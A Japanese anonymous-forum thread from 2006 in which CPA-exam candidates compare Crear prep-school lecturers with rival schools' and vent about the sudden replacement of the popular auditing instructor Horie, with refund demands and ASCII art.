ちなみに、簿記と管理会計はたぶん８割方取れている。
他の科目もまあまあ。
いろんな予備校に浮気したが、結局最後はクレアールの鞘におさまった。
ちなみに、２００６年が初受験。一発合格を狙うなら、クレはいいと思うけどね。
簿記：森山
十分戦える。ただ、そんなに講義がうまいとは思えない。
連結ではクイックメソッドは使わず、森山オリジナルの解き方である。
量も少なくはない。むしろアクセルのほうが量は少ない。
アクセル簿記との比較：
クレと比べて、わかりやすさ、理解が深まるという理由で、アクセル勝利。
管理会計：安井（今は中村）
合格ライン狙い。安井はそんなに講義は良くない。基本的には自習スタイル。
（中村も、クレで最近聞かせてもらったが、ここで言われているほどやばくは
ないと思う。）
ボリュームは少ない。高得点は狙えないが、学習時間は短く済む。
LEC池辺管理会計との比較：
池辺管理会計はすばらしいの一言につきる。講師としては、安井（中村）は比較対象に
すらならない。だが、これは一通り勉強を終えた者に限る。
クレアールと比べてボリュームが多いため、負担が大きい。（池辺が多いというよりも、
クレアールが少なすぎる上に簡単なだけだと思うのだが。）
個人的には、初学者はクレがいいと思う。２回目の受験なら池辺はおすすめできる。
ただ、池辺の答練はクレ生も取ったほうがいいと思う。
631:一般に公正妥当と認められた名無しさん
06/11/09 19:10:06 Gw1QolsH
財務諸表論：石井
講義は超一流。
ただ、ものすごい量の暗記を要求する。
一字一句とまでは言わないが、限りなく近い精度の暗記を要求するので、
受講生に誤解されやすいと思う。（堀江は暗に石井を批判しているようだ。）
答練に、授業で習っていないことを出すため、ベテラン受験生や100点狙いの完璧主義な
初学者には嫌われると思う。
個人的には、暗記しないと論文は書けないと思うので、石井のやり方は正しいと思う。
（最初は、おれも暗記が受け入れられなかったので、一度野坂に変えたことがある。）
アクセル野坂財務諸表論との比較：
こちらも講義は超一流。
網羅的で量は多い。だが、答練では石井のような新規インプットは行わない。
石井と野坂のどちらがいいとは言えないが、初学者は石井、二度目以降は野坂がいいと
思う。石井で暗記、野坂で二年目という流れが良いのではないか。
石井のほうが実際は負担が少ない。
監査論：堀江
とにかくすばらしいに尽きる。あれだけ負担が少ないのに、高得点を狙える答案が
書けるようになる講師はいないのではないか。
野坂はちら見程度だが、堀江のほうが上だと見た。
めんどくなったので、これくらいでやめる。
632:一般に公正妥当と認められた名無しさん
06/11/09 20:14:17 ibzht20M
いろいろありがとうございます
ところである一つの予備校にいってて、他の予備校に例えば管理会計だけとか
講座取れるんでしょうか？あと勉強した人からみて、
TACと大原と比べるとどうなんでしょうか？
633:一般に公正妥当と認められた名無しさん
06/11/09 21:48:50
そのとうりだな、特に管理会計は池辺の答練は理解が深まるしいいと思うよ。
クレは簡単すぎるし、理論対策がヤバイ。計算自体も理論とリンクしない無味乾燥な計算を要求されるし。
その点池辺は理論と計算のバランスが秀逸。ただ、量が多いのは事実。
結局、自分自身で判断するしかないんだろうな。
634:一般に公正妥当と認められた名無しさん
06/11/09 21:53:16
>>632
単価講座があるから、管理会計だけ他校もとれるよ。
で、TACと大原だけど、大原のほうがいいかな、と個人的に思う。
635:一般に公正妥当と認められた名無しさん
06/11/09 22:27:33
>>630
簿記と管理は８割取れてるって、LEC池辺とアクセル戸原なんですが・・・
636:一般に公正妥当と認められた名無しさん
06/11/09 22:51:10 jw95OAr/
簿記のテキストと問題集って1級とほぼ同じじゃないですか？
担当講師が違うだけ？
637:一般に公正妥当と認められた名無しさん
06/11/09 23:44:08
管理会計は違う
638:一般に公正妥当と認められた名無しさん
06/11/10 00:01:09
やっぱり、石井先生は神。
アクセル野坂では論文は書けない。
639:一般に公正妥当と認められた名無しさん
06/11/10 00:05:49
>>636
1級の講師って誰？
640:一般に公正妥当と認められた名無しさん
06/11/10 00:07:51
>>630>>631
すごく参考になる･･･
641:630-631
06/11/10 00:31:30 ZY23h/Fi
>>635
どういう意図のレスなのか理解できないのだが・・・
池辺管理とアクセル簿記は途中でやめたので、テキストの内容は試験前には忘れていた。
（ただ、池辺短答答練は試験前もきっちりやった。論グレとレベルアップ答練は切った。）
基本的にクレアールのみで簿記と管理会計は８割。他は記述もあるので書かないけど。
>>636
管理会計（会計士講座）は簿記１級と似ている。
簿記（会計士講座）は簿記１級と体裁は似ているが、中身は全然違う。
確かに理論は弱いが、あくまで会計学という大きな科目の一部なので、そんなに力を入れなくても
いいのではないかと思う。（簿記で十分補える。）
>>640
とにかく、石井の提唱するスピーチ（ようは丸暗記）を受け入れられるかどうかが、ポイント。
スピーチはつらいけど、毎日必ず寝る前にやるとか、生活の一部にしていた。
理解だけでは論文は書けないよ（ある程度暗記は必要というのは監査論堀江も認めている）。
石井でも十分、思考力は育つと思うけどね（受講していない人にはわからないだろうけど、
おそらく、あなたの思っている以上に講義はていねいだよ）。
うまく言えないが、あえて書くと、石井は放任主義。野坂は手取り足取り。
よく石井の批判にある、思考力が育たないというのはこのあたりにあるかと。
補足として一つだけクレアールを強く批判すると、クレアールは簿記検定講座が駄目。
（おれは３級からクレアールで受けている。）
特に１級講座はよくないと思う。１級まではLECなりTACなりで勉強したほうが良い。
クレアールでは説明不足で根本的な理解が出来なかった。
結局、簿記１級部分は、TACの市販テキストで補って勉強した。（３級、２級はぎりぎり許せる。）
１級取ったらクレアールというのは、良いと思うけどね。
経営やら租税はやや問題があるのだが、めんどいのでこれくらいで
642:一般に公正妥当と認められた名無しさん
06/11/10 00:36:25 ZY23h/Fi
>>636
確かに理論は弱いが、あくまで会計学という大きな科目の一部なので、そんなに力を入れなくても
いいのではないかと思う。（簿記で十分補える。）
↑は管理会計の理論の話。
643:一般に公正妥当と認められた名無しさん
06/11/10 00:49:42
>>641
2級合格からクレ会計士講座でも大丈夫ですか？
644:一般に公正妥当と認められた名無しさん
06/11/10 00:58:39 ZY23h/Fi
>>643
１級講座を受講しないでってこと？
２００７年は２００６年よりも講義が丁寧にはなっているようだが、
クレの会計士講座（他校でいう上級講座）は簿記１級合格が前提。
簿記２級から１級講座を受けずに会計士講座はやめておいたほうがいいと思います。
１級範囲の個別論点を独学ですることになってしまいます。（会計士講座で使用する
テキストにも１級範囲は含まれているが説明をとばすため）
645:一般に公正妥当と認められた名無しさん
06/11/10 00:59:13 ZY23h/Fi
もうねる。
646:一般に公正妥当と認められた名無しさん
06/11/10 01:09:42
今年の論文の簿記（会計学の第1問と第2問）で8割とれる人は相当簿記が得意な人だけだろ
よってパンピーはちゃんと管理会計の理論もやらないとだめだという結論に達するわけで
647:一般に公正妥当と認められた名無しさん
06/11/10 01:10:44
>>643
６４１氏ではないが答えさせてもらうと、一級合格してから会計士講座に入った方がいい。
というのは、一級の範囲を既に終えてることを前提として講義が進むから。
簿記なんかでは
「知識があやふやな方はもう一度１級のテキストに戻って復習しといて下さい」
ていう場面が何度かある。
648:６４７
06/11/10 01:12:27
かぶった。スマソ
649:一般に公正妥当と認められた名無しさん
06/11/10 01:31:34
石井では思考力は育たない。
なぜなら、スピーチ命で答練もテキストにほぼ近い精度の記述でないと
点がこないからだ。
答案構成を考えてもはねられるだけ。暗記しないといけない。
実際今年の本試験を見れば分かるが、テキストレベルの定義は問題文に
書いてあり、それをいかに応用するかが問われている。
つまり暗記から理解に傾向が変わった。
にもかかわらず、暗記を強要する指導はもはや石井自身が新試験制度に
対応できていないということ。
650:一般に公正妥当と認められた名無しさん
06/11/10 01:40:44
工作員乙Ｗ
651:一般に公正妥当と認められた名無しさん
06/11/10 01:47:06
答練でいい点をとろうなんていうのがそもそもの間違い
あんなもん勉強の進度の目安に使うくらいがちょうどいい
新試験制度になって暗記から理解に傾向が変わったというのも早計
なにしろまだ1回しかやってないんだから今年の結果を受けて傾向が変わる可能性も十分考えられる
まだ暗中模索の段階ってのが正直なところなんじゃないかな
652:630-631
06/11/10 01:56:55 ZY23h/Fi
最後にレス
>>649
そーれーはちがう。
暗記だけで合格できるとは石井は一言も言ってない。（少なくとも２００６年目標では）
暗記により得た知識を元に、問題の意図に沿った答案を作成しろと、石井はつねづね・・・
おれが上で書いた内容に入っている、
財表の１年目は石井、２年目は野坂をすすめるというのは、
>>649のような人に向けたレス。
野坂は手取り足取り教えてくれるからな。ある意味、万人向き。でも、初学者一発合格を
狙うなら野坂よりも絶対に石井。２年目なら野坂（ただし１年目は石井で受講済みとして）
653:630-631
06/11/10 02:01:31 ZY23h/Fi
>>651
全くそのとおり。
特に初学者は答練の点数を気にしていたらどうしようもない。
654:一般に公正妥当と認められた名無しさん
06/11/10 02:11:03
しかしと答練は答案構成を考えさせる場を提供すべきはずだよな。
せめてどこが悪いのかの添削はきっちりしてほしい。
安易に点数だけをだすから649のような馬鹿がでてくるんだ。
655:630-631
06/11/10 02:21:23
>>654
確かにそうなんですよ。
石井先生の答練の採点は私も不満でした。
キーワードでも点数はくれるのですが、他の先生よりも
基準が厳しいです。
石井先生は答練で受講生から誤解を受けていると思う。
採点は改善すべき。
656:一般に公正妥当と認められた名無しさん
06/11/10 02:48:07
いまの1級講座は講師ががらりと変わったんで期待できる
657:一般に公正妥当と認められた名無しさん
06/11/10 06:46:34 jsFzzyPf
大原やTACと組み合わせるのがいいんですか？
あと、独学で2級を取ってから一級講座から入るってのでも
ついていけますか？
658:一般に公正妥当と認められた名無しさん
06/11/10 06:58:16
ID:ZY23h/Fiさん、もし宜しかったら企業法、租税法、経営学の
レクチャーの批評もしてくださると助かるのですが・・・。
お願いします。
659:一般に公正妥当と認められた名無しさん
06/11/10 13:57:42
>>658
なんともいえぬ面子がそろってるんだよなぁ･･･。
660:一般に公正妥当と認められた名無しさん
06/11/11 00:33:20
だれかいないか？
661:一般に公正妥当と認められた名無しさん
06/11/11 00:33:57
なんだ？
662:一般に公正妥当と認められた名無しさん
06/11/11 01:53:13
何なに？
663:一般に公正妥当と認められた名無しさん
06/11/11 03:10:14
ナニデスカ？
664:630-631
06/11/11 12:06:54 eXYhUaOc
租税と企業法は講師の講義があまり上手くないので、予習してから講義を受けたほうが良い。
経営学はなんとも言えないなー。経営は予習は必要ない。おれは経営が得意科目だったとはいえ。
租税、企業法、経営は共に分量が少なく負担も小さい。
（あっ、ちなみにおれは理系の院生）
まあ、初学者はクレがいいと思いますけどね。
1.5年で合格することを前提とした教材の量ですし。
クレの講師は全体的に悪くはないですよ。仕事と講師を両立できるのか？
とはよく言われていますが、そのあたりは心配しなくていいかな。
TACなんかははじめから、３年かけて合格狙いなんでしょ？（TAC学院長が言ってた）
普通にやってたら１年では終わらないような、計画を立てているみたいじゃん。
まあ、クレでも最低１日６時間、平均して８時間くらいは勉強しないと合格できないと思うけど。
（TACだったら、１日１０時間以上必要だとか・・・）
あと、講師の言うことを聞くだけで良いわけじゃなく、自分で考える力は必要。だけどね。
665:一般に公正妥当と認められた名無しさん
06/11/11 20:55:01 iQLufEnA
俺は受けてもない授業・答練でレジュメだけパクって行く奴がウザいなぁ。
なんかいつも同じ奴がやってるし。
666:一般に公正妥当と認められた名無しさん
06/11/12 00:24:15
あの鼻かんでる香具師どうにかしろ。
一時期だけだと思って我慢してたが、このままずっとやられたら困る
667:一般に公正妥当と認められた名無しさん
06/11/12 00:34:24
大阪の受付の子、最近見ないけど辞めたの
668:一般に公正妥当と認められた名無しさん
06/11/12 00:39:36
漏れは京都ですが何？
669:一般に公正妥当と認められた名無しさん
06/11/12 01:05:01
神戸のスタッフが嫌い
670:一般に公正妥当と認められた名無しさん
06/11/12 01:28:15
京都はいい人たちだよ
671:一般に公正妥当と認められた名無しさん
06/11/12 13:21:31 IChm+m3C
来春からは平成生まれの大学生がいっせいに誕生し、必然的に
平成生まれタッカーが増殖するわけだが、そういう子たちからみたら
２５歳のオバちゃんが毎日昼間からTACにこもってるのって
絶対変に見えるでしょ。
考えてみなよ。自分が18歳のころの感覚を。
２５歳すぎたら税理士に転向するか、受験はやめて就職するか、
どちらかにしたほうがいいよ。
672:一般に公正妥当と認められた名無しさん
06/11/12 14:01:58
それはべておばのことを言っているのですか？
673:一般に公正妥当と認められた名無しさん
06/11/12 15:09:57
>>672
誰がうまいことを言えt（ｒｙ
674:一般に公正妥当と認められた名無しさん
06/11/13 00:39:10
>>671
その時期から就職て･･･
675:一般に公正妥当と認められた名無しさん
06/11/13 00:49:23
永久就職
676:一般に公正妥当と認められた名無しさん
06/11/13 02:44:41
>>630は初受験で合格か すごいな
合格しても、もし万が一ダメだったとしても結果が出たらアドヴァイスをここに書いて欲しいです
677:一般に公正妥当と認められた名無しさん
06/11/13 20:51:50 2FUL9RrH
簿記は何級まで勉強していくのがベストっぽいですか？
簿記一級の勉強って会計士につながる(役立つ)んでしょうか？
678:一般に公正妥当と認められた名無しさん
06/11/14 01:04:40
>>677
繋がる繋がらない以前に１級受からなきゃ会計士なんて･･･
679:一般に公正妥当と認められた名無しさん
06/11/14 16:52:35
>>677
一級はあくまで通過点にすぎない。
一級の内容は理解していないとついていけないよ。
680:一般に公正妥当と認められた名無しさん
06/11/14 23:14:05
某資格持ちで、会計士・税理士事務所勤務だけど、２５～３０で入ってくる合格者や税理士科目合格者は多いよ。
職務経験なくても、職歴ありの人と１年も経てばわからなくなることはいくらでもある。
ただしよほどすごい職歴・在職年数である程度関連あることをやるなら最低の人間と比べれば歴然とした差はある。
ちなみに年齢・職歴に関わらず総じて女性の方が優秀だ。
681:一般に公正妥当と認められた名無しさん
06/11/15 00:30:22
ここはクレアールスレッドです。
682:もうだめぽ
06/11/15 14:38:26 mAtaPIJi
監査堀江じゃなくなった！おわった…。金返せ。
683:一般に公正妥当と認められた名無しさん
06/11/15 14:53:05
マジで？
ソースは？
684:一般に公正妥当と認められた名無しさん
06/11/15 15:18:08
ベーシックは堀江さんだったけど、アドバンスから変わったの？
それなら最悪なんだけど・・・
685:一般に公正妥当と認められた名無しさん
06/11/15 16:46:11
青山のバカスクの教授
686:一般に公正妥当と認められた名無しさん
06/11/15 18:24:28
上記は事実である。堀江からアドヴァンスから松井というアカスクの先生に交代。
687:一般に公正妥当と認められた名無しさん
06/11/15 18:35:44
まじかよ・・・金返せ・・・
688:一般に公正妥当と認められた名無しさん
06/11/15 18:39:07 bWgiBGJD
堀江が辞めるの、マジな感じがするのだが。
クレアールのホームページから講師の紹介が消えている。
管理会計の安井（現神戸大学助教授）の写真は突然消えた。そのときと同じようなパターン。
良かったな、えいじ。これで、監査論No1講師はお前のものだ。
689:一般に公正妥当と認められた名無しさん
06/11/15 18:48:35
惜しい人を失った
690:一般に公正妥当と認められた名無しさん
06/11/15 19:11:29
金返してもらえるの？
691:一般に公正妥当と認められた名無しさん
06/11/15 19:15:43 bWgiBGJD
これ、金返してもらえるんじゃないの？
管理会計は安井から、突然、中村に変更。
そして、監査論は堀江から、松井に変更。
裁判になったらどうなるんだろう？
692:一般に公正妥当と認められた名無しさん
06/11/15 19:18:32
うはｗｗｗｗ
ひらりん復活！！
693:一般に公正妥当と認められた名無しさん
06/11/15 19:19:16
今電話したら、返金が可能かもしれないので、決まり次第連絡があるそうだ。
694:速報
06/11/15 19:20:44
URLﾘﾝｸ(www.crear-ac.co.jp)
堀江正之講師（日本大学商学部教授）が同大学本部の 都合により、アドバンス期以降教壇に立てないことに
なりました。 つきまして、標記科目の担当講師が下記の通り変更となります。※詳細は添付pdfをご覧下さい。
講師の急な変更により、受講生の皆様方には大変ご迷惑を おかけいたしまして、申し訳ありません。
何卒ご理解のうえご了承・ご容赦くださいますよう お願い申し上げます。
○アドバンス期担当講師
松井 隆幸（まつい たかゆき）
○短答式答練等作問担当
石原 俊彦（いしはら としひこ）
○答練解説
平林 亮子（ひらばやし りょうこ）
◆なお、アドバンス講義開講に先立ち、担当の松井講師による 特別セミナーを
下記の日程にて開催致します。 当日は、松井先生のご紹介を含め、講義の進め方等に
ついてもお話して頂く予定となっております。 是非、ご出席下さい。
日時： 12月6日（水） 17:00～（1時間程度を予定）
教室： 501教室
なお、当日ご都合の悪い方は、１２月９日より個別DVDにて視聴可能となっております（無料）。２階資料受付にて
受講証をご持参の上、お手続き下さい。※通信コース受講生の方には当日のセミナーを収録した
DVDもしくはカセットを実施後ご自宅に送付させて頂きます。
ご不明な点がございましたら事務局スタッフまでお申し出下さい。
695:一般に公正妥当と認められた名無しさん
06/11/15 19:22:54
06の堀江監査って今年も使えるかな？
696:一般に公正妥当と認められた名無しさん
06/11/15 19:26:30
でも、代わりの講師。
「 ひ ら ば や し 」以外はなかなかの講師のようだ。
堀江の置き土産だろうか。
講義：青山学院大学大学院教授 松井隆幸
短答答練等作問：関西学院大学専門職大学院教授 石原俊彦
答練解説： ひらばやしりょうこ
ひ ら ば や し 以外はな
697:一般に公正妥当と認められた名無しさん
06/11/15 19:33:49
まあ期待使しようや
698:一般に公正妥当と認められた名無しさん
06/11/15 19:34:56
試験委員になるんじゃね
699:sage
06/11/15 19:39:03 przXKLL8
そういうことか
700:一般に公正妥当と認められた名無しさん
06/11/15 19:55:08
>>696
学歴とか職歴とか関係ないから。
堀江なんて、商業高校から日大に入って、業界随一の看板講師に上り詰めたんだし。
701:一般に公正妥当と認められた名無しさん
06/11/15 20:13:23 bWgiBGJD
>>700
青山学院大学大学院教授 松井隆幸
関西学院大学専門職大学院教授 石原俊彦
こうにんかいけいし ひらばやしりょうこ
じゃあ、この中で誰に一番教えてもらいたい？
702:一般に公正妥当と認められた名無しさん
06/11/15 20:27:46
ついでにN村も交換してくれ
703:一般に公正妥当と認められた名無しさん
06/11/15 20:43:59
金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！
金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！
金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！
金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！
金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！
704:もうだめぽ
06/11/15 20:59:32 doAdyaCm
監査論、堀江だからクレにしたのに・・・ もうここおわったな
705:一般に公正妥当と認められた名無しさん
06/11/15 21:08:27 X3B/VEzT
松井先生は実は過去講義を受けたがまずまずだったよ・・・
706:一般に公正妥当と認められた名無しさん
06/11/15 21:10:18
堀江の代わりなんだから、まずまずじゃいかんだろ
会計士試験業界最高峰と言い切れるレベルじゃないと満足できん
707:一般に公正妥当と認められた名無しさん
06/11/15 21:16:19
>>けたがまずまずだったよ・・・
・・・がとても気になる。
708:一般に公正妥当と認められた名無しさん
06/11/15 21:16:57
ﾏｽﾞｰだったよ
709:一般に公正妥当と認められた名無しさん
06/11/15 21:26:30
まずまず → まずいまずい → ﾏｽﾞｰ
710:一般に公正妥当と認められた名無しさん
06/11/15 21:27:54
試験委員になったらクレ生しか持ってない
堀江教材から出るじゃんいいじゃんやったじゃん
711:一般に公正妥当と認められた名無しさん
06/11/15 21:31:23
__ _,, -ー ,,
(／ "つ`..,：
：/ :::::i：
：i ─::!,,
ヽ.....::::::::: ::::ij(_::●
r " .r ミノ~ お金かえして
：|::| ::::| :::i ﾟ。
：|::| ::::| :::|：
：`.| ::::| :::|_：
：.,' ::（ :::}：
：i `.-‐"
712:一般に公正妥当と認められた名無しさん
06/11/15 21:32:13
マジレスすると、堀江が試験委員になったら、理解重視（堀江は暗記が嫌い。）の採点になるから、
アクセル生がのびる予感・・・
713:一般に公正妥当と認められた名無しさん
06/11/15 21:34:14
予備校講師が、辞めて即試験委員になるわけないじゃん。
本当にふざけるなよ。
714:一般に公正妥当と認められた名無しさん
06/11/15 21:36:02
これ申込むためにどんだけバイトしたと思ってるんだよorz
. |コ ))
. |
／)
/ミ─‐ヽつ
,,,‐─´ ＼
／/. ● ヽ
/ ⌒U |
ノ ´ ・ ● .⊃
( __,,ノ‐. ノ● ´__
.(＿,,--ー──‐ヽ,,,____U_／＿＿) ,,,(（⑩
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
715:一般に公正妥当と認められた名無しさん
06/11/15 21:36:45
堀江のＤＶＤが貴重になるな
716:一般に公正妥当と認められた名無しさん
06/11/15 21:42:22
試験委員の講義
717:一般に公正妥当と認められた名無しさん
06/11/15 21:42:33
ほんとにどうなるんだ…堀江がいい。
こうなれば単科でどこかとるか
718:一般に公正妥当と認められた名無しさん
06/11/15 21:51:18
野坂先生が待っていますよ。
みんなアクセルへGO!!
719:一般に公正妥当と認められた名無しさん
06/11/15 21:57:25
いまこそLECですよ
720:一般に公正妥当と認められた名無しさん
06/11/15 21:59:23
なるほど、非常識だな！
721:一般に公正妥当と認められた名無しさん
06/11/15 22:00:53
ここでICOですよ。
722:一般に公正妥当と認められた名無しさん
06/11/15 22:02:02
監査ならWセミでしょう
723:一般に公正妥当と認められた名無しさん
06/11/15 22:08:18
そこで監査の大原ですよ
724:一般に公正妥当と認められた名無しさん
06/11/15 22:11:18
LEC ICO Wセミ 大原
どれも糞だから堀江監査だったんだよ。
725:一般に公正妥当と認められた名無しさん
06/11/15 22:12:44
ちょっと待った
東京CPAを忘れちゃいけませぬ
726:一般に公正妥当と認められた名無しさん
06/11/15 22:15:28
よし俺が教えたる
727:一般に公正妥当と認められた名無しさん
06/11/15 22:19:31
ここで大阪会計専門学校ですよ
728:一般に公正妥当と認められた名無しさん
06/11/15 22:22:10
監査論No1講師は成瀬だと思うが。
今年からついにＶクラスできたし。
729:一般に公正妥当と認められた名無しさん
06/11/15 22:23:04
いやいや大栄経理学院がありますよってに。
730:一般に公正妥当と認められた名無しさん
06/11/15 22:26:15 doAdyaCm
みんなで本校に電話しよう！
俺らは人生かけてんだ！！
731:一般に公正妥当と認められた名無しさん
06/11/15 22:27:10
>>730
バカスクの講師の方が良くね？
732:一般に公正妥当と認められた名無しさん
06/11/15 22:35:34
>>731
おい、内部の人間。金は返ってくるんだろうな。
733:一般に公正妥当と認められた名無しさん
06/11/15 23:04:23
一年目は期待できない。
堀江の穴はとても大きい。クレの看板講師だったからな。
N村の１００倍はましだと思うけど。
734:一般に公正妥当と認められた名無しさん
06/11/15 23:19:08
堀江、本当にいなくなっちゃうんだ
なんかやる気いっきに下がったな
735:一般に公正妥当と認められた名無しさん
06/11/15 23:22:47
夢だといいんだがなあ
736:一般に公正妥当と認められた名無しさん
06/11/15 23:32:13
>>719
LECは校舎によって、天国と地獄ほどの差があるってよ。
しかも収録ありの方に糞が来て、収録なしの方が天国なそうだからｗｗｗ
737:一般に公正妥当と認められた名無しさん
06/11/15 23:33:56
>>736
租税か？
738:一般に公正妥当と認められた名無しさん
06/11/16 00:02:29
今年の開講時点で確定してたんじゃないだろうな
ANJOみたいに確信犯でやってたら
おじさん本当にキレちゃうよ（マジ怒）
739:一般に公正妥当と認められた名無しさん
06/11/16 00:11:59 xHaIsImV
返金要求は相当な数が出るかもしれない。
こうなったら、予備校会No1の講義をしていただきたいところですなあ。
期待はしていますよ。でも、駄目だったら、叩きますよと。
はじめから期待すらされていなかったN村に比べればだがな
740:一般に公正妥当と認められた名無しさん
06/11/16 00:13:30
>>738
それあるかもしれないよ。申込むとき、
『アドバンスド講義に関しては、堀江先生が病気でいつ開講するかわからない』
と事務がぬかしてたから。確信犯かよ。
741:一般に公正妥当と認められた名無しさん
06/11/16 00:36:47
なんだよ「日本大学本部のご都合で」って？
日大生はここで腹かっさばいて侘びろや
742:一般に公正妥当と認められた名無しさん
06/11/16 00:46:30 xHaIsImV
監査論の受講料だけ返金したら、大丈夫だろうと思っていたら、それは違う。
堀江がいるからクレアールという受講生はかなりいる。
堀江がいなかったら、クレアールに入校していなかったかもしれない。
クレアールは希望者に全科目の受講料を返金すべき。
743:一般に公正妥当と認められた名無しさん
06/11/16 01:01:41
>>737
租税と監査だよ
744:一般に公正妥当と認められた名無しさん
06/11/16 01:11:57
>>742
全額は無理っしょ。
既に一定のサービスを受けていれば、その分は払わないと。
講義進行基準ならね。
745:一般に公正妥当と認められた名無しさん
06/11/16 01:21:00
かなりショックはでかいです
堀江さん目当てでクレアールを選んだだけに尚更きついです
ベーシックとアドヴァンスで講師が変わるというのも一貫性からみると非常に痛い
とにかくテンションは下がりました